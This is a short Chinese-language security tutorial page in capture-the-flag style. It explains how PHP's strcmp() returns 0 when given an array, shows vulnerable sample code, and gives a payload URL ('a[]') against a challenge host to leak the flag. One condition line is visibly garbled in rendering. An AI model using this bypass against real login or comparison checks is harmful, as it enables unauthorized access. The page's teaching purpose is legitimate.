> For the complete documentation index, see [llms.txt](https://ninjia.gitbook.io/secskill/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ninjia.gitbook.io/secskill/serve/php/strcmp.md).

# 2.21.2 strcmp

## strcmp()

strcmp()函数使用参考

<http://www.php.net/manual/zh/function.strcmp.php>

漏洞产生原因：

```
strcmp()函数比较字符串的本质是将两个变量转换为ascii，然后进行减法运算。在PHP5.3版本之后使用这个函数比较array跟sring会返回0。

//如果 str1 小于 str2 返回 < 0； 如果 str1大于 str2返回 > 0；如果两者相等，返回 0。
```

参考代码：

```php
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) 
        die('Flag: '.$flag);
    else
        print 'No';
}
?>
```

代码审计需要满足两个条件：1. if (isset($\_GET\['a'])) ==》 TRUE

2\. if (strcmp(GET\[′a′],GET\[′a′],flag) == 0) ==》 TRUE 所以我们构造payload：

```
http://123.206.87.240:9009/6.php?a[]
```

得到flag
